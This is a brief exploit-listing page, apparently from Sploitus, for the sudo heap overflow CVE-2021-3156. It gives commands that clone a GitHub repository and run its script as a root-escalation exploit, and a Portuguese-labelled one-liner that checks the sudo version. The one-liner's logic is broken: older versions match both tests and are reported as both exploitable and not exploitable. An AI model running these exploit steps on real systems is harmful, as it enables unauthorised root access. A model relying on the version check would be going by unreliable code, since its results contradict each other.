Exploit for Off-by-one Error in Sudo Project Sudo CVE-2021-3156

Name: Exploit for Off-by-one Error in Sudo Project Sudo CVE-2021-3156
Rating: 5 (255 reviews)

2022-03-18 | CVSS 7.2

## https://sploitus.com/exploit?id=8EF43C83-EFAA-5B36-ADB4-69AC40B5DFEA
# Exploit CVE-2021-3156

## Executing: <br>

```bash
$ git clone https://github.com/RodricBr/CVE-2021-3156
$ cd CVE-2021-3156/
$ chmod u+x programa.sh
$ ./programa.sh
```

## One-Liner: <br>

```bash
AA=$(sudo --version | tr '[:space:]' ','| tr -d '.'  | cut -d ',' -f3 | awk '{print $0}'); [[ "$AA" -lt 1828 ]] && echo -e "Exploitável\nCVE-2021-3156"; [[ "$AA" -lt 1827 ]] && echo -e "Não é Exploitável!";
```